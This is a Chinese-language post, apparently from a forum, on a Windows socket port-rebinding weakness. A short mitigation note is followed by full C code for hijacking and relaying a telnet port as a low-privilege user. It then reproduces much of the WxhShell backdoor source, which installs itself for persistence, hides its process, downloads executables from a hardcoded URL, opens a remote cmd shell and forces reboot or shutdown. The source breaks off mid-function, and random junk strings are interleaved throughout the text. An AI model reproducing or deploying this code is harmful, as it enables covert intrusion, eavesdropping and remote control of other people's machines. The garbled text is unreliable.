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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +Rwx%= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X:EEPGE 6S1m<aH6 saddr.sin_family = AF_INET; HbM0TXo <??umkV saddr.sin_addr.s_addr = htonl(INADDR_ANY); gmP9j)V6 Zgamd1DJ[l bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2'|8Q\,:4Z 0fArF* 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N|K4{Frm Elb aFbr 这意味着什么?意味着可以进行如下的攻击: QR0(,e$Dl jVWK0Zba 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^U@~+dw ^YlI>_3s 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) taWqSq! ?X9UTOx 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~F!,PM/ KpHw-6" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 [XR$F@o fCw*$:O 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 + ulagE|7 [f/I2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N|usFqCNk^ -_N)E ))G 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C! 9} g)"gw+ZFc #include pG3k #include A7Po 3n%Q #include kz}R[7
#include
9+=gke DWORD WINAPI ClientThread(LPVOID lpParam); 0#_'o , int main() =qy@Wvj$ { 6gL-OJNo WORD wVersionRequested; sD;M!K_ DWORD ret; ^teq[l$; WSADATA wsaData; dT"hNHaf BOOL val; p>w]rE:} SOCKADDR_IN saddr; I:cg}JZ>| SOCKADDR_IN scaddr; ^D%Za' int err; saf&dd SOCKET s; QS[L~97m2M SOCKET sc; "R>FqX6FB int caddsize; n2B){~vE HANDLE mt; e'%v1-&sP DWORD tid; w
obgu wVersionRequested = MAKEWORD( 2, 2 ); %EbPI)yY3 err = WSAStartup( wVersionRequested, &wsaData ); : 18KR*;p if ( err != 0 ) { D\dWt1n printf("error!WSAStartup failed!\n"); /D&%v*~E return -1; /P|fB]p } w'MGA saddr.sin_family = AF_INET; Mn1Pt|_@! `.jzuX //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8BOZh6BV yZr M.%V saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }o4N<%/+ saddr.sin_port = htons(23); &Mq~T_S if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i':ydDOOHA { e}/Lk5q! printf("error!socket failed!\n"); }D411228 return -1; x+ncc_2n&D } hI%bjuq val = TRUE; 4;n6I)&.( //SO_REUSEADDR选项就是可以实现端口重绑定的 3s\.cG?`r if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 00v&lQBW { |F,R&<2 printf("error!setsockopt failed!\n"); {;toI return -1; Nkxmm/Z } S#)Eom?V //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @1.QEyXG //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r.3/F[. //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xh7c VE[UM Bjk]ZU0T if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pyLRgD0
g { eP*lI<NQ1 ret=GetLastError(); "k]CW\H6z printf("error!bind failed!\n"); 3vcO!6Z5 return -1; zi`b2h } u6>?AW1~ listen(s,2); R|O8RlH while(1) 'smWLz} { |D, +P caddsize = sizeof(scaddr); =]:> "_jN //接受连接请求 'F>'(XWWQ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^Ge+~o?x if(sc!=INVALID_SOCKET) 6-?66gmT { 311LC cRp mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $O9^SB if(mt==NULL) pZ/>[TP(%F { N<QXmgqx printf("Thread Creat Failed!\n");
=-_B:d; break; {?'fyEeg } pdE3r$C } w@N CloseHandle(mt); %Gt.m } 035rPT7-2- closesocket(s); jDQZQ NS WSACleanup(); os/vtyP:a return 0; L!=QR8?@E } 'fW6
.0fXa DWORD WINAPI ClientThread(LPVOID lpParam) g!-,] { m!<\WN6g SOCKET ss = (SOCKET)lpParam; 9K9DF1SOa SOCKET sc; &hRvol\J unsigned char buf[4096]; K)J(./ SOCKADDR_IN saddr; OE}*2P/M> long num; ">#wOm+ + DWORD val; m9/}~Y#k DWORD ret; s`0QA!G{- //如果是隐藏端口应用的话,可以在此处加一些判断 ]xuG&O"SBV //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 r/SG 4 saddr.sin_family = AF_INET; #5V9oKM saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @|\}.M<e*) saddr.sin_port = htons(23); fFc/
d( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vd8{c7g:n { 9/nn)soC3 printf("error!socket failed!\n"); tg{H9tU; return -1; TA{\PKA) } 3D2E?$dX val = 100; B'fb^n< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Dc_yM { 8O38#{[S ret = GetLastError(); ,G2TVjz return -1; d+'p@!W_ } WVI{oso# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z4lO?S5%J { zzyHoZJP ret = GetLastError(); p>upA)W] return -1; U-|NY } h@[R6G| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #W|'1
OX4 { {DR`;ea])1 printf("error!socket connect failed!\n");
Z
/9> closesocket(sc); PbmDNKEh{ closesocket(ss); #Y4=J
6 return -1; O<,\^[x } c`o7d)_Ke while(1) 0:T|S>FsAm { T7#W0^tj //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D ^x-^6^ //如果是嗅探内容的话,可以再此处进行内容分析和记录 H XmS|PX //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *3?'4"B{8 num = recv(ss,buf,4096,0); L>3x9 if(num>0) i(NdGL#P send(sc,buf,num,0); 2'W<h)m)z else if(num==0) m8o(J\] break; K|Di1)7=/ num = recv(sc,buf,4096,0); hUF5fZqii if(num>0) WUh$^5W send(ss,buf,num,0); aL&n[
else if(num==0) wf:OK[r9 break; eb =D/ } BDjn
!3 closesocket(ss); {PVW D7 closesocket(sc); Ac<Phy-J return 0 ; s[w6FXt } `a2n:F e8GEoD HxIIO[h ========================================================== 28UU60 DKBSFm{~Q 下边附上一个代码,,WXhSHELL ]{ntt}3G, Qx+%"YO ========================================================== }Nf%n@ ce7CcHQ?B #include "stdafx.h" L2[f]J% &FF"nE* #include <stdio.h> 23DiW#o' #include <string.h> `|ASx8_! #include <windows.h> XBp? w #include <winsock2.h> &3n~%$#N #include <winsvc.h> ;{KV /<3 #include <urlmon.h> [E/\#4b =g|IG
[V #pragma comment (lib, "Ws2_32.lib") Ljp%CI[i #pragma comment (lib, "urlmon.lib") B>0].CK` iqe%=%ZR #define MAX_USER 100 // 最大客户端连接数 $w);5o #define BUF_SOCK 200 // sock buffer 4\4FolsK #define KEY_BUFF 255 // 输入 buffer F*3j.lI LC'{p #define REBOOT 0 // 重启 8n*.).33 #define SHUTDOWN 1 // 关机 \E*d\hrl{ -T[lx\} #define DEF_PORT 5000 // 监听端口 2kIa*#VOJ VCD:3U 8
#define REG_LEN 16 // 注册表键长度 ,v';>.] #define SVC_LEN 80 // NT服务名长度 ,Q
HU_jt )~HUo9K9 // 从dll定义API &QGdLXOn typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 93`
AWg/T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L_wk~z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aD=A^ktx typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2-C!jAfd \v.C]{Gzc // wxhshell配置信息 vM*($qpAy struct WSCFG { oaoU _V int ws_port; // 监听端口 ]Zyur` char ws_passstr[REG_LEN]; // 口令 to=y#$_ int ws_autoins; // 安装标记, 1=yes 0=no VBcy9|lD char ws_regname[REG_LEN]; // 注册表键名 `O[};3O& char ws_svcname[REG_LEN]; // 服务名 #py[ char ws_svcdisp[SVC_LEN]; // 服务显示名 Q2F+?w;, char ws_svcdesc[SVC_LEN]; // 服务描述信息 &iA?+kV char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e= .njMqW5 int ws_downexe; // 下载执行标记, 1=yes 0=no [g:$K5\64 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" d\
1Og\U|A char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I~Zh@d% O"c;|zCc> }; b;cdIl!3 Z`KC%!8K // default Wxhshell configuration 3
%|86:* struct WSCFG wscfg={DEF_PORT, EioB%f3 "xuhuanlingzhe", :=/>Vbd: ) 1, .[3Z1v, "Wxhshell", or';A'k "Wxhshell", I/L_@X<*r
"WxhShell Service", B hp-jq'!B "Wrsky Windows CmdShell Service", Htgx`N|
"Please Input Your Password: ", Xt@Z}B))pu 1, l33Pm/V2? " http://www.wrsky.com/wxhshell.exe", t_qNq{ "Wxhshell.exe" V&\[)D'c }; %Cv D-![0 aM:nOt" S1 // 消息定义模块 zN"J}r: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .[JYj(p char *msg_ws_prompt="\n\r? for help\n\r#>"; o\3L}Y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; oWC@w char *msg_ws_ext="\n\rExit."; !=:$lzS^ char *msg_ws_end="\n\rQuit."; _J?
Dq char *msg_ws_boot="\n\rReboot..."; :X]itTrGs char *msg_ws_poff="\n\rShutdown..."; 8W#heW\-] char *msg_ws_down="\n\rSave to "; nEkR1^30 A?t%e char *msg_ws_err="\n\rErr!"; L G1r]2 char *msg_ws_ok="\n\rOK!"; *UmI]E{g3( /S(zff[at char ExeFile[MAX_PATH]; pFHz"] int nUser = 0; V` 1/SQX HANDLE handles[MAX_USER]; dOoK Lry int OsIsNt; O2BDL1o FZtfh SERVICE_STATUS serviceStatus; v>-VlQ SERVICE_STATUS_HANDLE hServiceStatusHandle; P}TI
q# :C65-[PSdO // 函数声明 OI0;BBZ int Install(void); :9_L6 int Uninstall(void); eZdu2.;< int DownloadFile(char *sURL, SOCKET wsh); T|dY
2 int Boot(int flag); Ffv`kn@ void HideProc(void); [vHv0" int GetOsVer(void); f/Hm{<BY
int Wxhshell(SOCKET wsl); )p~BQ~eip; void TalkWithClient(void *cs); pk3<| int CmdShell(SOCKET sock); :SGF45>B@ int StartFromService(void); "Za>ZRR int StartWxhshell(LPSTR lpCmdLine); kMOpi =Z1 v%s`~~u%^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O Vko+X` VOID WINAPI NTServiceHandler( DWORD fdwControl ); wm$}Pch fe_yqIdk // 数据结构和表定义 pm\x~3jHs SERVICE_TABLE_ENTRY DispatchTable[] = u
a~CEs { W'.s\e?gh {wscfg.ws_svcname, NTServiceMain}, )6Ny1x+ {NULL, NULL} `>?ra- }; nM-h&na{s j|/]#@Yr // 自我安装 I{lT> go int Install(void) S`"LV $8 { @*Wh char svExeFile[MAX_PATH]; k7>|q"0C HKEY key; B,K>rCZ/ strcpy(svExeFile,ExeFile); f~dd3m(' |/2y-[;: // 如果是win9x系统,修改注册表设为自启动 _=NwQu\_F if(!OsIsNt) { |kvC
H<F' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4&_NJ\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C!R1})_^ RegCloseKey(key); &g.+V/<[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { awOd_![c' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /}PF\j9#4 RegCloseKey(key); >layJt return 0; .hba*dV } g-e#!( } cFJ-Mkll } QR
Ei7@t else { 1XnZy5fEo V\{tmDE // 如果是NT以上系统,安装为系统服务 u6_@.a} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^~$)F_`" if (schSCManager!=0) KGWyJ { V0%V5> SC_HANDLE schService = CreateService g =2Rqi5 ( .>mr%#p schSCManager, FP>)&3>_ wscfg.ws_svcname, x#Q>J"g wscfg.ws_svcdisp, PIWux{ SERVICE_ALL_ACCESS, MUA%^)#u4Q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0q*r SERVICE_AUTO_START, \|U l]1pO8 SERVICE_ERROR_NORMAL, X5khCLHi svExeFile, :T._ba3| NULL, z)xSN;x NULL, \oEo~ NULL, p<&Xd}]"^W NULL, `c69?/5 NULL E%'~'[Q ); Qq@G\eRo if (schService!=0) i:cXwQG}B { +E; 2d-x*p CloseServiceHandle(schService); NFr:y<0>z CloseServiceHandle(schSCManager); 5hbJOo0BZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *5wu
strcat(svExeFile,wscfg.ws_svcname); nD0}wiL{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wBInq~K_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oP2fX_v1x RegCloseKey(key); oM)h#8bq return 0; ZZj~GQL(S } NB7Y{)
w } ^@"H1 CloseServiceHandle(schSCManager); jV/CQM5a+ } k;EPpr-{ } WA$>pG5s zi'Jr)n return 1; 8*c3| } /oL;YIoQX ?,=f\Fz! // 自我卸载 J@L9p46, int Uninstall(void) ;oNhEB:F { ;+I/ I9~ HKEY key; '&FjW-`"
G s 1ge0~p3 if(!OsIsNt) { QJW`}`R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1mSaS4!"B RegDeleteValue(key,wscfg.ws_regname); j+8TlVur RegCloseKey(key); QR>
Y%4 ;h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
I<=Df5M RegDeleteValue(key,wscfg.ws_regname); UzKFf&-:;K RegCloseKey(key); #g5^SR|qE return 0; f&hwi:t } 70B)|<$ } )ZejQ}$ }
tehUD& else { _}mK!_` ;$BdP7i: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l+y}4k=/ if (schSCManager!=0) (X6sSO { ?`zgq>R}w[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #)`A7 $/, if (schService!=0) (shK { L7mz#CMWf if(DeleteService(schService)!=0) { -Y:ROoFOZ CloseServiceHandle(schService); ~ ~8rI[/ CloseServiceHandle(schSCManager); y_}SK6{
return 0; cUK\x2 } cgj.e CloseServiceHandle(schService); ^+R:MBK } fj4^VXD CloseServiceHandle(schSCManager); hxC!+ArVe } y1BgK>R } 2 [!Mx&^ qd!#t] return 1; D22Lu;E } -)<mS );
6,H.v // 从指定url下载文件 ewB!IJxh int DownloadFile(char *sURL, SOCKET wsh) >]}yXg=QK+ { .dI)R40L/\ HRESULT hr; agd)ag4"[u char seps[]= "/"; X^< >6|) char *token; PMKb ]y char *file; zfjTQMaxh char myURL[MAX_PATH]; g]`bnZ7 char myFILE[MAX_PATH]; <]8^J}8T{D 9.0WKcwg strcpy(myURL,sURL); >$F:*lO token=strtok(myURL,seps); V2yveNz\7 while(token!=NULL) B#tdLv"I { KtTza5aF file=token; ?En7_X{C? token=strtok(NULL,seps); >IR$e=5$ } d.pp3D9/ ):bu;3E GetCurrentDirectory(MAX_PATH,myFILE); JCQ:+eqt strcat(myFILE, "\\"); ">6&+^BN' strcat(myFILE, file); \>)f5 gV@ send(wsh,myFILE,strlen(myFILE),0); (5;D7zdA send(wsh,"...",3,0); r] t )x* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *fP(6e#G, if(hr==S_OK) tF`MT%{Va return 0; 6s,2NeVWa else ypA: P return 1; n(jjvLf xeB4r/6 } +5*vABvCu Tiprdvm< // 系统电源模块 ,QS'$n int Boot(int flag) l.7d$8'\ { @xJCn}`Zj HANDLE hToken; m;h<"]< TOKEN_PRIVILEGES tkp; <9\,QR) aQmfrx if(OsIsNt) { C<t RU5| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y#bK,} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M]B3vPA/v tkp.PrivilegeCount = 1; DVzssPg tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \[T{M!s AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JmjxGcG if(flag==REBOOT) { Vr\Q`H. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ss;
5C:*y return 0; OT+ Ee } \c68n else { \[k%)_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !u%9;>T7 return 0; k<, u0 } jIZ+d;1 } _-6e0sr Z else { gr\@sx?b if(flag==REBOOT) { :p&IX"Hh if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |>@-grs return 0; !^1[ s@1 } 4
iKR{P6 else { `#=fA if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2R] XH
0 return 0; QxA0I+i } v\'rXy } oc((Yo+B mb~./.5F return 1; )"F5lOA6 } [NZ-WU&&LP 5=m3J!? // win9x进程隐藏模块 )+*{Y$/U void HideProc(void) i[8NO$tN1) { Kny%QBoiw vi<X3G6Xh HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s1Okoxh/!V if ( hKernel != NULL ) r/^tzH's { 1GUqT 9) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )X~#n ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N-D(y FreeLibrary(hKernel); ZXh~79 }
:4{Qh \U Ax(; return; ]u;GNz}? } X:R%1+&* 'HJ/2-= // 获取操作系统版本 z^gi[
mi int GetOsVer(void) 6EZ1YG} { )>?! xx_` OSVERSIONINFO winfo; b#Jo Xa9 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w[e0wh`. GetVersionEx(&winfo); 'xQna+ %h if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EZ..^M3 return 1; 32s5-.{c/f else IvFR <n return 0; c%jsu" } g)X7FxS,z fVG$8tB // 客户端句柄模块 Td5bDO int Wxhshell(SOCKET wsl) dFx2>6AZt { i^/
eN SOCKET wsh; 1!X1wCT struct sockaddr_in client; lt{lHat1 DWORD myID;
E!dz/. :jBZK=3F> while(nUser<MAX_USER) \5t`p67Ve_ { C:rRK* int nSize=sizeof(client); k& WS$R?u wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $Z,i|K; if(wsh==INVALID_SOCKET) return 1; eVZa6la" gW'P`Oxw handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o<Xc,mP if(handles[nUser]==0) +ylxezc closesocket(wsh); N[0
xqQ else N$C{f;xV nUser++; c!tvG*{ } zhuyePn WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K5 5} Wi g Cg4;b6g return 0; 7fap* } .Ln;m8 L@>^_p$ // 关闭 socket JX2mTQ void CloseIt(SOCKET wsh) =Dh$yC-Zr { u(8 _[/_B closesocket(wsh); KYnW7|* nUser--; =''mpIg( ExitThread(0); ~!8%_J _ } hZp=BM"bJ *eHA:
A_I // 客户端请求句柄 %T`4!:vy void TalkWithClient(void *cs) @PT`CK} { //#xK D Zx}NFcn SOCKET wsh=(SOCKET)cs; aSn0o_4bD char pwd[SVC_LEN]; A8\U
CG char cmd[KEY_BUFF]; IW5*9)N? char chr[1]; aEcktg6h int i,j; r{pI-$ S1D9AcK while (nUser < MAX_USER) { 4y|xUO: K)yCrEZ if(wscfg.ws_passstr) { BengRG[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?R|fS*e2EB //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @?<N +qdH> //ZeroMemory(pwd,KEY_BUFF); wm); aWP i=0; N,WI{* while(i<SVC_LEN) { T^/Gj|N* }ZEfT] // 设置超时 k)H[XpM fd_set FdRead; {toyQ)C7 struct timeval TimeOut; OSSd;ueur$ FD_ZERO(&FdRead); L
LYHr FD_SET(wsh,&FdRead); O, bfdc[g4 TimeOut.tv_sec=8; L eG7x7n TimeOut.tv_usec=0; qT4I Y$h int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J{nyo1A if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5;3c<
K^!e-Xi6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,omp F$% pwd =chr[0]; &[?u1qQ%o if(chr[0]==0xd || chr[0]==0xa) { <Dt/Rad pwd=0; TEaD-mY3 break; GibggOj2Q, } u^#4G7< i++; :GwSs'$O } '8r8
^g[ )8 "EI-/. // 如果是非法用户,关闭 socket W2r6jm! if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U /1[~429 } ch5`fm ?)Czl4J send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Sy+]SeF& send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2fj0 I q
G :jnl while(1) { E< zT ?z)y%`} ZeroMemory(cmd,KEY_BUFF); zCBtD_@
:f?,]|]+- // 自动支持客户端 telnet标准 rj2r# {[ j=0; X%4uShM while(j<KEY_BUFF) { *f0.= ? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v
GR
\GFm cmd[j]=chr[0]; O?j98H
Sya if(chr[0]==0xa || chr[0]==0xd) { =BqaGXr cmd[j]=0; SCfkv|hO break; RAg|V:/M } )5GdvqA j++; K\^&_#MG } 6yu*a_ &{%S0\K Y // 下载文件 sl^s9kx;C$ if(strstr(cmd,"http://")) { :]u}xDv3 send(wsh,msg_ws_down,strlen(msg_ws_down),0); hdsgOu if(DownloadFile(cmd,wsh)) =& Tu`m send(wsh,msg_ws_err,strlen(msg_ws_err),0); X>6~{3 else MUCJ/GF* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }GoOE=rhY } U>L=.\\| else { _ pH6uuB NDIc?kj~ switch(cmd[0]) { w371.84 ziLr }/tg // 帮助 3'sWlhf; case '?': { q*RaX
4V send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); llZ"uTK\M break; F;MT4*4 } 0IPhVG~# // 安装 k9_VhR|! case 'i': { OuBMVn if(Install()) :`>+f.) send(wsh,msg_ws_err,strlen(msg_ws_err),0); j3rv2W\ else hyvV%z Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uu@'02G8 break; m|ERf 2- } :LIKp; // 卸载 J%Z)# case 'r': { Cj4b]*Q, if(Uninstall()) p=`x send(wsh,msg_ws_err,strlen(msg_ws_err),0); B'gk/^6$eg else Sj{rvW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k,NU,^ & break; 2GD mZl } }_kI> // 显示 wxhshell 所在路径 eZ.0,A*1B1 case 'p': { }'.Sn{OWf char svExeFile[MAX_PATH]; ^0ZKHR(}e strcpy(svExeFile,"\n\r"); dVmAMQk.g strcat(svExeFile,ExeFile); t!=~5YgKs send(wsh,svExeFile,strlen(svExeFile),0); dW^_tzfF7 break; J|2Hqd } W'2-3J // 重启 l#vw
L15 case 'b': { hA,rSq send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); : {N3o: if(Boot(REBOOT)) ! ?U^+)^$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); HH~
du else { p4t!T=o/ closesocket(wsh); NK#"qK""k ExitThread(0); zS"zb } zR JKIm break; %qjyk=z+Z } q(ET)xCeD // 关机 K9N0kBJ0< case 'd': { `E0.P V send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9Or4`JOO if(Boot(SHUTDOWN)) -IsdU7} send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7F9g:r/^ else { h, 6S$,UI closesocket(wsh); gK#fuQ$hH ExitThread(0); rNzhP*Fw } [@)z $W break; l0_E9qh-i } U;Y}2 // 获取shell ,;e-37^0l case 's': { J'^$|/Q CmdShell(wsh); ;7`um closesocket(wsh); ]-Y]Q%A4 ExitThread(0); 4C9"Q,o%& break; E29gnYxu8 } [#rdfN'?U
// 退出 GxBPEIim case 'x': { s1vYZ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *0@;
kD=
CloseIt(wsh); FjLv*K[#d break; $HCAC4 } 'W2$wN+P // 离开 {ugKv?e; case 'q': { [W\atmd" send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3)Awj++ closesocket(wsh); O+Lb***b" WSACleanup(); CU^3L|f2N exit(1); QDT{Xg*I break; XoQk'7"f } a;owG/\p } #`)-$vUv^f } X%1.mTU~K s!fY^3 // 提示信息 ~+iJpW if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $`dNl#G, } 0?;Hmq3 } i|{nj\6w^ (?3\.tQ}} return; %oKqK>S) } (tLQX~Ur MkGq%AE`Y // shell模块句柄 ^Ro
du int CmdShell(SOCKET sock) @ ZPTf>J} { G$`4.,g STARTUPINFO si; WHLKf ZeroMemory(&si,sizeof(si)); e^_@^(||!6 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZBq*<VtV si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z3~*R7G8> PROCESS_INFORMATION ProcessInfo; %
j{pz char cmdline[]="cmd"; ^o\p|f>f CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q/-j`'A_pb return 0; Q~!hr0
ZR } CuO*>g^K[ gH55caF< // 自身启动模式 3C[4!>| int StartFromService(void) =/!S { >$52B9ie typedef struct nGgc~E$j { !Jnw_) DWORD ExitStatus; fqs p1m$ DWORD PebBaseAddress; D\*_ulc] DWORD AffinityMask; |5B9tjJ" DWORD BasePriority; NRF%Qd8I/2 ULONG UniqueProcessId; 5(`GF| ULONG InheritedFromUniqueProcessId; <@!kR$Rd } PROCESS_BASIC_INFORMATION; Ic!83- (jFE{M$- PROCNTQSIP NtQueryInformationProcess; L;7mt
4H [F{a-i- static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P]{.e UB@c static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8 %f!
X51 A@AGu#W HANDLE hProcess; lA
